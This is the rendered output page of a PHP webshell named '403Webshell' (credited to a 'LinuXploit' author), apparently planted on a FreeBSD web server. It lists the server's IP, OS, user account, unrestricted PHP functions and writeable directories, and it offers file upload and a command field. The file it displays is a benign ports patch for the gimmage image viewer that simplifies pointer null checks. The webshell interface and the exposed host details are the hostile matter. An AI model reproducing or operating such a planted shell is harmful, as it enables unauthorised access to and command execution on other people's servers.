403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/gimmage/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/gimmage/files/patch-src__ImageEventBox.cpp
--- src/ImageEventBox.cpp.orig	2007-06-26 13:51:16 UTC
+++ src/ImageEventBox.cpp
@@ -149,7 +149,7 @@ void ImageEventBox::LoadImage(	const Glib::ustring & f
 void ImageEventBox::ScaleImage( double scalefactor,
 								Gdk::InterpType interp_type)
 	{
-	if(ImagePixbuf_Original != 0 && loaded == true)
+	if(ImagePixbuf_Original && loaded == true)
 		{
 		int new_width   = (int)(scalefactor * (double)ImagePixbuf_Original->get_width());
 		int new_height  = (int)(scalefactor * (double)ImagePixbuf_Original->get_height());
@@ -176,7 +176,7 @@ void ImageEventBox::ScaleImage(	int width,
 								double * scalefactor,
 								Gdk::InterpType interp_type)
 	{
-	if(ImagePixbuf_Original != 0 && loaded == true)
+	if(ImagePixbuf_Original && loaded == true)
 		{
 		double ratioh = (double)height/(double)ImagePixbuf_Original->get_height();
 		double ratiow = (double)width/(double)ImagePixbuf_Original->get_width();
@@ -206,7 +206,7 @@ void ImageEventBox::ScaleImage2(	int width,
 								double * scalefactor,
 								Gdk::InterpType interp_type)
 	{
-	if(ImagePixbuf_Original != 0 && loaded == true)
+	if(ImagePixbuf_Original && loaded == true)
 		{
 		if( width <= ImagePixbuf_Original->get_width() || height <= ImagePixbuf_Original->get_height() )
 		    {
@@ -242,7 +242,7 @@ void ImageEventBox::ScaleImage2(	int width,
 // the rotation of the image
 void ImageEventBox::RotateImage(Gdk::PixbufRotation rotateby)
 	{
-	if(ImagePixbuf_Original != 0 && loaded == true)
+	if(ImagePixbuf_Original && loaded == true)
 		{
 		try
 			{

Youez - 2016 - github.com/yon3zu
LinuXploit